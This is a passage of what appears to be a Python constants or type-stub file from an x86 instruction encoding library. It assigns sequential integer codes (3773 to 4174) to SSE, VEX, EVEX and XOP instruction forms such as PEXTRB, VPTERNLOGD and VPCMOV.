PEXTRB_R32M8_XMM_IMM8: int = 3773
PEXTRB_R64M8_XMM_IMM8: int = 3774
VEX_VPEXTRB_R32M8_XMM_IMM8: int = 3775
VEX_VPEXTRB_R64M8_XMM_IMM8: int = 3776
EVEX_VPEXTRB_R32M8_XMM_IMM8: int = 3777
EVEX_VPEXTRB_R64M8_XMM_IMM8: int = 3778
PEXTRW_R32M16_XMM_IMM8: int = 3779
PEXTRW_R64M16_XMM_IMM8: int = 3780
VEX_VPEXTRW_R32M16_XMM_IMM8: int = 3781
VEX_VPEXTRW_R64M16_XMM_IMM8: int = 3782
EVEX_VPEXTRW_R32M16_XMM_IMM8: int = 3783
EVEX_VPEXTRW_R64M16_XMM_IMM8: int = 3784
PEXTRD_RM32_XMM_IMM8: int = 3785
PEXTRQ_RM64_XMM_IMM8: int = 3786
VEX_VPEXTRD_RM32_XMM_IMM8: int = 3787
VEX_VPEXTRQ_RM64_XMM_IMM8: int = 3788
EVEX_VPEXTRD_RM32_XMM_IMM8: int = 3789
EVEX_VPEXTRQ_RM64_XMM_IMM8: int = 3790
EXTRACTPS_RM32_XMM_IMM8: int = 3791
EXTRACTPS_R64M32_XMM_IMM8: int = 3792
VEX_VEXTRACTPS_RM32_XMM_IMM8: int = 3793
VEX_VEXTRACTPS_R64M32_XMM_IMM8: int = 3794
EVEX_VEXTRACTPS_RM32_XMM_IMM8: int = 3795
EVEX_VEXTRACTPS_R64M32_XMM_IMM8: int = 3796
VEX_VINSERTF128_YMM_YMM_XMMM128_IMM8: int = 3797
EVEX_VINSERTF32X4_YMM_K1Z_YMM_XMMM128_IMM8: int = 3798
EVEX_VINSERTF32X4_ZMM_K1Z_ZMM_XMMM128_IMM8: int = 3799
EVEX_VINSERTF64X2_YMM_K1Z_YMM_XMMM128_IMM8: int = 3800
EVEX_VINSERTF64X2_ZMM_K1Z_ZMM_XMMM128_IMM8: int = 3801
VEX_VEXTRACTF128_XMMM128_YMM_IMM8: int = 3802
EVEX_VEXTRACTF32X4_XMMM128_K1Z_YMM_IMM8: int = 3803
EVEX_VEXTRACTF32X4_XMMM128_K1Z_ZMM_IMM8: int = 3804
EVEX_VEXTRACTF64X2_XMMM128_K1Z_YMM_IMM8: int = 3805
EVEX_VEXTRACTF64X2_XMMM128_K1Z_ZMM_IMM8: int = 3806
EVEX_VINSERTF32X8_ZMM_K1Z_ZMM_YMMM256_IMM8: int = 3807
EVEX_VINSERTF64X4_ZMM_K1Z_ZMM_YMMM256_IMM8: int = 3808
EVEX_VEXTRACTF32X8_YMMM256_K1Z_ZMM_IMM8: int = 3809
EVEX_VEXTRACTF64X4_YMMM256_K1Z_ZMM_IMM8: int = 3810
VEX_VCVTPS2PH_XMMM64_XMM_IMM8: int = 3811
VEX_VCVTPS2PH_XMMM128_YMM_IMM8: int = 3812
EVEX_VCVTPS2PH_XMMM64_K1Z_XMM_IMM8: int = 3813
EVEX_VCVTPS2PH_XMMM128_K1Z_YMM_IMM8: int = 3814
EVEX_VCVTPS2PH_YMMM256_K1Z_ZMM_IMM8_SAE: int = 3815
EVEX_VPCMPUD_KR_K1_XMM_XMMM128B32_IMM8: int = 3816
EVEX_VPCMPUD_KR_K1_YMM_YMMM256B32_IMM8: int = 3817
EVEX_VPCMPUD_KR_K1_ZMM_ZMMM512B32_IMM8: int = 3818
EVEX_VPCMPUQ_KR_K1_XMM_XMMM128B64_IMM8: int = 3819
EVEX_VPCMPUQ_KR_K1_YMM_YMMM256B64_IMM8: int = 3820
EVEX_VPCMPUQ_KR_K1_ZMM_ZMMM512B64_IMM8: int = 3821
EVEX_VPCMPD_KR_K1_XMM_XMMM128B32_IMM8: int = 3822
EVEX_VPCMPD_KR_K1_YMM_YMMM256B32_IMM8: int = 3823
EVEX_VPCMPD_KR_K1_ZMM_ZMMM512B32_IMM8: int = 3824
EVEX_VPCMPQ_KR_K1_XMM_XMMM128B64_IMM8: int = 3825
EVEX_VPCMPQ_KR_K1_YMM_YMMM256B64_IMM8: int = 3826
EVEX_VPCMPQ_KR_K1_ZMM_ZMMM512B64_IMM8: int = 3827
PINSRB_XMM_R32M8_IMM8: int = 3828
PINSRB_XMM_R64M8_IMM8: int = 3829
VEX_VPINSRB_XMM_XMM_R32M8_IMM8: int = 3830
VEX_VPINSRB_XMM_XMM_R64M8_IMM8: int = 3831
EVEX_VPINSRB_XMM_XMM_R32M8_IMM8: int = 3832
EVEX_VPINSRB_XMM_XMM_R64M8_IMM8: int = 3833
INSERTPS_XMM_XMMM32_IMM8: int = 3834
VEX_VINSERTPS_XMM_XMM_XMMM32_IMM8: int = 3835
EVEX_VINSERTPS_XMM_XMM_XMMM32_IMM8: int = 3836
PINSRD_XMM_RM32_IMM8: int = 3837
PINSRQ_XMM_RM64_IMM8: int = 3838
VEX_VPINSRD_XMM_XMM_RM32_IMM8: int = 3839
VEX_VPINSRQ_XMM_XMM_RM64_IMM8: int = 3840
EVEX_VPINSRD_XMM_XMM_RM32_IMM8: int = 3841
EVEX_VPINSRQ_XMM_XMM_RM64_IMM8: int = 3842
EVEX_VSHUFF32X4_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3843
EVEX_VSHUFF32X4_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 3844
EVEX_VSHUFF64X2_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3845
EVEX_VSHUFF64X2_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 3846
EVEX_VPTERNLOGD_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 3847
EVEX_VPTERNLOGD_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3848
EVEX_VPTERNLOGD_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 3849
EVEX_VPTERNLOGQ_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 3850
EVEX_VPTERNLOGQ_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3851
EVEX_VPTERNLOGQ_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 3852
EVEX_VGETMANTPS_XMM_K1Z_XMMM128B32_IMM8: int = 3853
EVEX_VGETMANTPS_YMM_K1Z_YMMM256B32_IMM8: int = 3854
EVEX_VGETMANTPS_ZMM_K1Z_ZMMM512B32_IMM8_SAE: int = 3855
EVEX_VGETMANTPD_XMM_K1Z_XMMM128B64_IMM8: int = 3856
EVEX_VGETMANTPD_YMM_K1Z_YMMM256B64_IMM8: int = 3857
EVEX_VGETMANTPD_ZMM_K1Z_ZMMM512B64_IMM8_SAE: int = 3858
EVEX_VGETMANTSS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3859
EVEX_VGETMANTSD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3860
VEX_KSHIFTRB_KR_KR_IMM8: int = 3861
VEX_KSHIFTRW_KR_KR_IMM8: int = 3862
VEX_KSHIFTRD_KR_KR_IMM8: int = 3863
VEX_KSHIFTRQ_KR_KR_IMM8: int = 3864
VEX_KSHIFTLB_KR_KR_IMM8: int = 3865
VEX_KSHIFTLW_KR_KR_IMM8: int = 3866
VEX_KSHIFTLD_KR_KR_IMM8: int = 3867
VEX_KSHIFTLQ_KR_KR_IMM8: int = 3868
VEX_VINSERTI128_YMM_YMM_XMMM128_IMM8: int = 3869
EVEX_VINSERTI32X4_YMM_K1Z_YMM_XMMM128_IMM8: int = 3870
EVEX_VINSERTI32X4_ZMM_K1Z_ZMM_XMMM128_IMM8: int = 3871
EVEX_VINSERTI64X2_YMM_K1Z_YMM_XMMM128_IMM8: int = 3872
EVEX_VINSERTI64X2_ZMM_K1Z_ZMM_XMMM128_IMM8: int = 3873
VEX_VEXTRACTI128_XMMM128_YMM_IMM8: int = 3874
EVEX_VEXTRACTI32X4_XMMM128_K1Z_YMM_IMM8: int = 3875
EVEX_VEXTRACTI32X4_XMMM128_K1Z_ZMM_IMM8: int = 3876
EVEX_VEXTRACTI64X2_XMMM128_K1Z_YMM_IMM8: int = 3877
EVEX_VEXTRACTI64X2_XMMM128_K1Z_ZMM_IMM8: int = 3878
EVEX_VINSERTI32X8_ZMM_K1Z_ZMM_YMMM256_IMM8: int = 3879
EVEX_VINSERTI64X4_ZMM_K1Z_ZMM_YMMM256_IMM8: int = 3880
EVEX_VEXTRACTI32X8_YMMM256_K1Z_ZMM_IMM8: int = 3881
EVEX_VEXTRACTI64X4_YMMM256_K1Z_ZMM_IMM8: int = 3882
EVEX_VPCMPUB_KR_K1_XMM_XMMM128_IMM8: int = 3883
EVEX_VPCMPUB_KR_K1_YMM_YMMM256_IMM8: int = 3884
EVEX_VPCMPUB_KR_K1_ZMM_ZMMM512_IMM8: int = 3885
EVEX_VPCMPUW_KR_K1_XMM_XMMM128_IMM8: int = 3886
EVEX_VPCMPUW_KR_K1_YMM_YMMM256_IMM8: int = 3887
EVEX_VPCMPUW_KR_K1_ZMM_ZMMM512_IMM8: int = 3888
EVEX_VPCMPB_KR_K1_XMM_XMMM128_IMM8: int = 3889
EVEX_VPCMPB_KR_K1_YMM_YMMM256_IMM8: int = 3890
EVEX_VPCMPB_KR_K1_ZMM_ZMMM512_IMM8: int = 3891
EVEX_VPCMPW_KR_K1_XMM_XMMM128_IMM8: int = 3892
EVEX_VPCMPW_KR_K1_YMM_YMMM256_IMM8: int = 3893
EVEX_VPCMPW_KR_K1_ZMM_ZMMM512_IMM8: int = 3894
DPPS_XMM_XMMM128_IMM8: int = 3895
VEX_VDPPS_XMM_XMM_XMMM128_IMM8: int = 3896
VEX_VDPPS_YMM_YMM_YMMM256_IMM8: int = 3897
DPPD_XMM_XMMM128_IMM8: int = 3898
VEX_VDPPD_XMM_XMM_XMMM128_IMM8: int = 3899
MPSADBW_XMM_XMMM128_IMM8: int = 3900
VEX_VMPSADBW_XMM_XMM_XMMM128_IMM8: int = 3901
VEX_VMPSADBW_YMM_YMM_YMMM256_IMM8: int = 3902
EVEX_VDBPSADBW_XMM_K1Z_XMM_XMMM128_IMM8: int = 3903
EVEX_VDBPSADBW_YMM_K1Z_YMM_YMMM256_IMM8: int = 3904
EVEX_VDBPSADBW_ZMM_K1Z_ZMM_ZMMM512_IMM8: int = 3905
EVEX_VSHUFI32X4_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3906
EVEX_VSHUFI32X4_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 3907
EVEX_VSHUFI64X2_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3908
EVEX_VSHUFI64X2_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 3909
PCLMULQDQ_XMM_XMMM128_IMM8: int = 3910
VEX_VPCLMULQDQ_XMM_XMM_XMMM128_IMM8: int = 3911
VEX_VPCLMULQDQ_YMM_YMM_YMMM256_IMM8: int = 3912
EVEX_VPCLMULQDQ_XMM_XMM_XMMM128_IMM8: int = 3913
EVEX_VPCLMULQDQ_YMM_YMM_YMMM256_IMM8: int = 3914
EVEX_VPCLMULQDQ_ZMM_ZMM_ZMMM512_IMM8: int = 3915
VEX_VPERM2I128_YMM_YMM_YMMM256_IMM8: int = 3916
VEX_VPERMIL2PS_XMM_XMM_XMMM128_XMM_IMM4: int = 3917
VEX_VPERMIL2PS_YMM_YMM_YMMM256_YMM_IMM4: int = 3918
VEX_VPERMIL2PS_XMM_XMM_XMM_XMMM128_IMM4: int = 3919
VEX_VPERMIL2PS_YMM_YMM_YMM_YMMM256_IMM4: int = 3920
VEX_VPERMIL2PD_XMM_XMM_XMMM128_XMM_IMM4: int = 3921
VEX_VPERMIL2PD_YMM_YMM_YMMM256_YMM_IMM4: int = 3922
VEX_VPERMIL2PD_XMM_XMM_XMM_XMMM128_IMM4: int = 3923
VEX_VPERMIL2PD_YMM_YMM_YMM_YMMM256_IMM4: int = 3924
VEX_VBLENDVPS_XMM_XMM_XMMM128_XMM: int = 3925
VEX_VBLENDVPS_YMM_YMM_YMMM256_YMM: int = 3926
VEX_VBLENDVPD_XMM_XMM_XMMM128_XMM: int = 3927
VEX_VBLENDVPD_YMM_YMM_YMMM256_YMM: int = 3928
VEX_VPBLENDVB_XMM_XMM_XMMM128_XMM: int = 3929
VEX_VPBLENDVB_YMM_YMM_YMMM256_YMM: int = 3930
EVEX_VRANGEPS_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 3931
EVEX_VRANGEPS_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3932
EVEX_VRANGEPS_ZMM_K1Z_ZMM_ZMMM512B32_IMM8_SAE: int = 3933
EVEX_VRANGEPD_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 3934
EVEX_VRANGEPD_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3935
EVEX_VRANGEPD_ZMM_K1Z_ZMM_ZMMM512B64_IMM8_SAE: int = 3936
EVEX_VRANGESS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3937
EVEX_VRANGESD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3938
EVEX_VFIXUPIMMPS_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 3939
EVEX_VFIXUPIMMPS_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 3940
EVEX_VFIXUPIMMPS_ZMM_K1Z_ZMM_ZMMM512B32_IMM8_SAE: int = 3941
EVEX_VFIXUPIMMPD_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 3942
EVEX_VFIXUPIMMPD_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 3943
EVEX_VFIXUPIMMPD_ZMM_K1Z_ZMM_ZMMM512B64_IMM8_SAE: int = 3944
EVEX_VFIXUPIMMSS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3945
EVEX_VFIXUPIMMSD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3946
EVEX_VREDUCEPS_XMM_K1Z_XMMM128B32_IMM8: int = 3947
EVEX_VREDUCEPS_YMM_K1Z_YMMM256B32_IMM8: int = 3948
EVEX_VREDUCEPS_ZMM_K1Z_ZMMM512B32_IMM8_SAE: int = 3949
EVEX_VREDUCEPD_XMM_K1Z_XMMM128B64_IMM8: int = 3950
EVEX_VREDUCEPD_YMM_K1Z_YMMM256B64_IMM8: int = 3951
EVEX_VREDUCEPD_ZMM_K1Z_ZMMM512B64_IMM8_SAE: int = 3952
EVEX_VREDUCESS_XMM_K1Z_XMM_XMMM32_IMM8_SAE: int = 3953
EVEX_VREDUCESD_XMM_K1Z_XMM_XMMM64_IMM8_SAE: int = 3954
VEX_VFMADDSUBPS_XMM_XMM_XMMM128_XMM: int = 3955
VEX_VFMADDSUBPS_YMM_YMM_YMMM256_YMM: int = 3956
VEX_VFMADDSUBPS_XMM_XMM_XMM_XMMM128: int = 3957
VEX_VFMADDSUBPS_YMM_YMM_YMM_YMMM256: int = 3958
VEX_VFMADDSUBPD_XMM_XMM_XMMM128_XMM: int = 3959
VEX_VFMADDSUBPD_YMM_YMM_YMMM256_YMM: int = 3960
VEX_VFMADDSUBPD_XMM_XMM_XMM_XMMM128: int = 3961
VEX_VFMADDSUBPD_YMM_YMM_YMM_YMMM256: int = 3962
VEX_VFMSUBADDPS_XMM_XMM_XMMM128_XMM: int = 3963
VEX_VFMSUBADDPS_YMM_YMM_YMMM256_YMM: int = 3964
VEX_VFMSUBADDPS_XMM_XMM_XMM_XMMM128: int = 3965
VEX_VFMSUBADDPS_YMM_YMM_YMM_YMMM256: int = 3966
VEX_VFMSUBADDPD_XMM_XMM_XMMM128_XMM: int = 3967
VEX_VFMSUBADDPD_YMM_YMM_YMMM256_YMM: int = 3968
VEX_VFMSUBADDPD_XMM_XMM_XMM_XMMM128: int = 3969
VEX_VFMSUBADDPD_YMM_YMM_YMM_YMMM256: int = 3970
PCMPESTRM_XMM_XMMM128_IMM8: int = 3971
PCMPESTRM64_XMM_XMMM128_IMM8: int = 3972
VEX_VPCMPESTRM_XMM_XMMM128_IMM8: int = 3973
VEX_VPCMPESTRM64_XMM_XMMM128_IMM8: int = 3974
PCMPESTRI_XMM_XMMM128_IMM8: int = 3975
PCMPESTRI64_XMM_XMMM128_IMM8: int = 3976
VEX_VPCMPESTRI_XMM_XMMM128_IMM8: int = 3977
VEX_VPCMPESTRI64_XMM_XMMM128_IMM8: int = 3978
PCMPISTRM_XMM_XMMM128_IMM8: int = 3979
VEX_VPCMPISTRM_XMM_XMMM128_IMM8: int = 3980
PCMPISTRI_XMM_XMMM128_IMM8: int = 3981
VEX_VPCMPISTRI_XMM_XMMM128_IMM8: int = 3982
EVEX_VFPCLASSPS_KR_K1_XMMM128B32_IMM8: int = 3983
EVEX_VFPCLASSPS_KR_K1_YMMM256B32_IMM8: int = 3984
EVEX_VFPCLASSPS_KR_K1_ZMMM512B32_IMM8: int = 3985
EVEX_VFPCLASSPD_KR_K1_XMMM128B64_IMM8: int = 3986
EVEX_VFPCLASSPD_KR_K1_YMMM256B64_IMM8: int = 3987
EVEX_VFPCLASSPD_KR_K1_ZMMM512B64_IMM8: int = 3988
EVEX_VFPCLASSSS_KR_K1_XMMM32_IMM8: int = 3989
EVEX_VFPCLASSSD_KR_K1_XMMM64_IMM8: int = 3990
VEX_VFMADDPS_XMM_XMM_XMMM128_XMM: int = 3991
VEX_VFMADDPS_YMM_YMM_YMMM256_YMM: int = 3992
VEX_VFMADDPS_XMM_XMM_XMM_XMMM128: int = 3993
VEX_VFMADDPS_YMM_YMM_YMM_YMMM256: int = 3994
VEX_VFMADDPD_XMM_XMM_XMMM128_XMM: int = 3995
VEX_VFMADDPD_YMM_YMM_YMMM256_YMM: int = 3996
VEX_VFMADDPD_XMM_XMM_XMM_XMMM128: int = 3997
VEX_VFMADDPD_YMM_YMM_YMM_YMMM256: int = 3998
VEX_VFMADDSS_XMM_XMM_XMMM32_XMM: int = 3999
VEX_VFMADDSS_XMM_XMM_XMM_XMMM32: int = 4000
VEX_VFMADDSD_XMM_XMM_XMMM64_XMM: int = 4001
VEX_VFMADDSD_XMM_XMM_XMM_XMMM64: int = 4002
VEX_VFMSUBPS_XMM_XMM_XMMM128_XMM: int = 4003
VEX_VFMSUBPS_YMM_YMM_YMMM256_YMM: int = 4004
VEX_VFMSUBPS_XMM_XMM_XMM_XMMM128: int = 4005
VEX_VFMSUBPS_YMM_YMM_YMM_YMMM256: int = 4006
VEX_VFMSUBPD_XMM_XMM_XMMM128_XMM: int = 4007
VEX_VFMSUBPD_YMM_YMM_YMMM256_YMM: int = 4008
VEX_VFMSUBPD_XMM_XMM_XMM_XMMM128: int = 4009
VEX_VFMSUBPD_YMM_YMM_YMM_YMMM256: int = 4010
VEX_VFMSUBSS_XMM_XMM_XMMM32_XMM: int = 4011
VEX_VFMSUBSS_XMM_XMM_XMM_XMMM32: int = 4012
VEX_VFMSUBSD_XMM_XMM_XMMM64_XMM: int = 4013
VEX_VFMSUBSD_XMM_XMM_XMM_XMMM64: int = 4014
EVEX_VPSHLDW_XMM_K1Z_XMM_XMMM128_IMM8: int = 4015
EVEX_VPSHLDW_YMM_K1Z_YMM_YMMM256_IMM8: int = 4016
EVEX_VPSHLDW_ZMM_K1Z_ZMM_ZMMM512_IMM8: int = 4017
EVEX_VPSHLDD_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 4018
EVEX_VPSHLDD_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 4019
EVEX_VPSHLDD_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 4020
EVEX_VPSHLDQ_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 4021
EVEX_VPSHLDQ_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 4022
EVEX_VPSHLDQ_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 4023
EVEX_VPSHRDW_XMM_K1Z_XMM_XMMM128_IMM8: int = 4024
EVEX_VPSHRDW_YMM_K1Z_YMM_YMMM256_IMM8: int = 4025
EVEX_VPSHRDW_ZMM_K1Z_ZMM_ZMMM512_IMM8: int = 4026
EVEX_VPSHRDD_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 4027
EVEX_VPSHRDD_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 4028
EVEX_VPSHRDD_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 4029
EVEX_VPSHRDQ_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 4030
EVEX_VPSHRDQ_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 4031
EVEX_VPSHRDQ_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 4032
VEX_VFNMADDPS_XMM_XMM_XMMM128_XMM: int = 4033
VEX_VFNMADDPS_YMM_YMM_YMMM256_YMM: int = 4034
VEX_VFNMADDPS_XMM_XMM_XMM_XMMM128: int = 4035
VEX_VFNMADDPS_YMM_YMM_YMM_YMMM256: int = 4036
VEX_VFNMADDPD_XMM_XMM_XMMM128_XMM: int = 4037
VEX_VFNMADDPD_YMM_YMM_YMMM256_YMM: int = 4038
VEX_VFNMADDPD_XMM_XMM_XMM_XMMM128: int = 4039
VEX_VFNMADDPD_YMM_YMM_YMM_YMMM256: int = 4040
VEX_VFNMADDSS_XMM_XMM_XMMM32_XMM: int = 4041
VEX_VFNMADDSS_XMM_XMM_XMM_XMMM32: int = 4042
VEX_VFNMADDSD_XMM_XMM_XMMM64_XMM: int = 4043
VEX_VFNMADDSD_XMM_XMM_XMM_XMMM64: int = 4044
VEX_VFNMSUBPS_XMM_XMM_XMMM128_XMM: int = 4045
VEX_VFNMSUBPS_YMM_YMM_YMMM256_YMM: int = 4046
VEX_VFNMSUBPS_XMM_XMM_XMM_XMMM128: int = 4047
VEX_VFNMSUBPS_YMM_YMM_YMM_YMMM256: int = 4048
VEX_VFNMSUBPD_XMM_XMM_XMMM128_XMM: int = 4049
VEX_VFNMSUBPD_YMM_YMM_YMMM256_YMM: int = 4050
VEX_VFNMSUBPD_XMM_XMM_XMM_XMMM128: int = 4051
VEX_VFNMSUBPD_YMM_YMM_YMM_YMMM256: int = 4052
VEX_VFNMSUBSS_XMM_XMM_XMMM32_XMM: int = 4053
VEX_VFNMSUBSS_XMM_XMM_XMM_XMMM32: int = 4054
VEX_VFNMSUBSD_XMM_XMM_XMMM64_XMM: int = 4055
VEX_VFNMSUBSD_XMM_XMM_XMM_XMMM64: int = 4056
SHA1RNDS4_XMM_XMMM128_IMM8: int = 4057
GF2P8AFFINEQB_XMM_XMMM128_IMM8: int = 4058
VEX_VGF2P8AFFINEQB_XMM_XMM_XMMM128_IMM8: int = 4059
VEX_VGF2P8AFFINEQB_YMM_YMM_YMMM256_IMM8: int = 4060
EVEX_VGF2P8AFFINEQB_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 4061
EVEX_VGF2P8AFFINEQB_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 4062
EVEX_VGF2P8AFFINEQB_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 4063
GF2P8AFFINEINVQB_XMM_XMMM128_IMM8: int = 4064
VEX_VGF2P8AFFINEINVQB_XMM_XMM_XMMM128_IMM8: int = 4065
VEX_VGF2P8AFFINEINVQB_YMM_YMM_YMMM256_IMM8: int = 4066
EVEX_VGF2P8AFFINEINVQB_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 4067
EVEX_VGF2P8AFFINEINVQB_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 4068
EVEX_VGF2P8AFFINEINVQB_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 4069
AESKEYGENASSIST_XMM_XMMM128_IMM8: int = 4070
VEX_VAESKEYGENASSIST_XMM_XMMM128_IMM8: int = 4071
VEX_RORX_R32_RM32_IMM8: int = 4072
VEX_RORX_R64_RM64_IMM8: int = 4073
XOP_VPMACSSWW_XMM_XMM_XMMM128_XMM: int = 4074
XOP_VPMACSSWD_XMM_XMM_XMMM128_XMM: int = 4075
XOP_VPMACSSDQL_XMM_XMM_XMMM128_XMM: int = 4076
XOP_VPMACSSDD_XMM_XMM_XMMM128_XMM: int = 4077
XOP_VPMACSSDQH_XMM_XMM_XMMM128_XMM: int = 4078
XOP_VPMACSWW_XMM_XMM_XMMM128_XMM: int = 4079
XOP_VPMACSWD_XMM_XMM_XMMM128_XMM: int = 4080
XOP_VPMACSDQL_XMM_XMM_XMMM128_XMM: int = 4081
XOP_VPMACSDD_XMM_XMM_XMMM128_XMM: int = 4082
XOP_VPMACSDQH_XMM_XMM_XMMM128_XMM: int = 4083
XOP_VPCMOV_XMM_XMM_XMMM128_XMM: int = 4084
XOP_VPCMOV_YMM_YMM_YMMM256_YMM: int = 4085
XOP_VPCMOV_XMM_XMM_XMM_XMMM128: int = 4086
XOP_VPCMOV_YMM_YMM_YMM_YMMM256: int = 4087
XOP_VPPERM_XMM_XMM_XMMM128_XMM: int = 4088
XOP_VPPERM_XMM_XMM_XMM_XMMM128: int = 4089
XOP_VPMADCSSWD_XMM_XMM_XMMM128_XMM: int = 4090
XOP_VPMADCSWD_XMM_XMM_XMMM128_XMM: int = 4091
XOP_VPROTB_XMM_XMMM128_IMM8: int = 4092
XOP_VPROTW_XMM_XMMM128_IMM8: int = 4093
XOP_VPROTD_XMM_XMMM128_IMM8: int = 4094
XOP_VPROTQ_XMM_XMMM128_IMM8: int = 4095
XOP_VPCOMB_XMM_XMM_XMMM128_IMM8: int = 4096
XOP_VPCOMW_XMM_XMM_XMMM128_IMM8: int = 4097
XOP_VPCOMD_XMM_XMM_XMMM128_IMM8: int = 4098
XOP_VPCOMQ_XMM_XMM_XMMM128_IMM8: int = 4099
XOP_VPCOMUB_XMM_XMM_XMMM128_IMM8: int = 4100
XOP_VPCOMUW_XMM_XMM_XMMM128_IMM8: int = 4101
XOP_VPCOMUD_XMM_XMM_XMMM128_IMM8: int = 4102
XOP_VPCOMUQ_XMM_XMM_XMMM128_IMM8: int = 4103
XOP_BLCFILL_R32_RM32: int = 4104
XOP_BLCFILL_R64_RM64: int = 4105
XOP_BLSFILL_R32_RM32: int = 4106
XOP_BLSFILL_R64_RM64: int = 4107
XOP_BLCS_R32_RM32: int = 4108
XOP_BLCS_R64_RM64: int = 4109
XOP_TZMSK_R32_RM32: int = 4110
XOP_TZMSK_R64_RM64: int = 4111
XOP_BLCIC_R32_RM32: int = 4112
XOP_BLCIC_R64_RM64: int = 4113
XOP_BLSIC_R32_RM32: int = 4114
XOP_BLSIC_R64_RM64: int = 4115
XOP_T1MSKC_R32_RM32: int = 4116
XOP_T1MSKC_R64_RM64: int = 4117
XOP_BLCMSK_R32_RM32: int = 4118
XOP_BLCMSK_R64_RM64: int = 4119
XOP_BLCI_R32_RM32: int = 4120
XOP_BLCI_R64_RM64: int = 4121
XOP_LLWPCB_R32: int = 4122
XOP_LLWPCB_R64: int = 4123
XOP_SLWPCB_R32: int = 4124
XOP_SLWPCB_R64: int = 4125
XOP_VFRCZPS_XMM_XMMM128: int = 4126
XOP_VFRCZPS_YMM_YMMM256: int = 4127
XOP_VFRCZPD_XMM_XMMM128: int = 4128
XOP_VFRCZPD_YMM_YMMM256: int = 4129
XOP_VFRCZSS_XMM_XMMM32: int = 4130
XOP_VFRCZSD_XMM_XMMM64: int = 4131
XOP_VPROTB_XMM_XMMM128_XMM: int = 4132
XOP_VPROTB_XMM_XMM_XMMM128: int = 4133
XOP_VPROTW_XMM_XMMM128_XMM: int = 4134
XOP_VPROTW_XMM_XMM_XMMM128: int = 4135
XOP_VPROTD_XMM_XMMM128_XMM: int = 4136
XOP_VPROTD_XMM_XMM_XMMM128: int = 4137
XOP_VPROTQ_XMM_XMMM128_XMM: int = 4138
XOP_VPROTQ_XMM_XMM_XMMM128: int = 4139
XOP_VPSHLB_XMM_XMMM128_XMM: int = 4140
XOP_VPSHLB_XMM_XMM_XMMM128: int = 4141
XOP_VPSHLW_XMM_XMMM128_XMM: int = 4142
XOP_VPSHLW_XMM_XMM_XMMM128: int = 4143
XOP_VPSHLD_XMM_XMMM128_XMM: int = 4144
XOP_VPSHLD_XMM_XMM_XMMM128: int = 4145
XOP_VPSHLQ_XMM_XMMM128_XMM: int = 4146
XOP_VPSHLQ_XMM_XMM_XMMM128: int = 4147
XOP_VPSHAB_XMM_XMMM128_XMM: int = 4148
XOP_VPSHAB_XMM_XMM_XMMM128: int = 4149
XOP_VPSHAW_XMM_XMMM128_XMM: int = 4150
XOP_VPSHAW_XMM_XMM_XMMM128: int = 4151
XOP_VPSHAD_XMM_XMMM128_XMM: int = 4152
XOP_VPSHAD_XMM_XMM_XMMM128: int = 4153
XOP_VPSHAQ_XMM_XMMM128_XMM: int = 4154
XOP_VPSHAQ_XMM_XMM_XMMM128: int = 4155
XOP_VPHADDBW_XMM_XMMM128: int = 4156
XOP_VPHADDBD_XMM_XMMM128: int = 4157
XOP_VPHADDBQ_XMM_XMMM128: int = 4158
XOP_VPHADDWD_XMM_XMMM128: int = 4159
XOP_VPHADDWQ_XMM_XMMM128: int = 4160
XOP_VPHADDDQ_XMM_XMMM128: int = 4161
XOP_VPHADDUBW_XMM_XMMM128: int = 4162
XOP_VPHADDUBD_XMM_XMMM128: int = 4163
XOP_VPHADDUBQ_XMM_XMMM128: int = 4164
XOP_VPHADDUWD_XMM_XMMM128: int = 4165
XOP_VPHADDUWQ_XMM_XMMM128: int = 4166
XOP_VPHADDUDQ_XMM_XMMM128: int = 4167
XOP_VPHSUBBW_XMM_XMMM128: int = 4168
XOP_VPHSUBWD_XMM_XMMM128: int = 4169
XOP_VPHSUBDQ_XMM_XMMM128: int = 4170
XOP_BEXTR_R32_RM32_IMM32: int = 4171
XOP_BEXTR_R64_RM64_IMM32: int = 4172
XOP_LWPINS_R32_RM32_IMM32: int = 4173
XOP_LWPINS_R64_RM32_IMM32: int = 4174
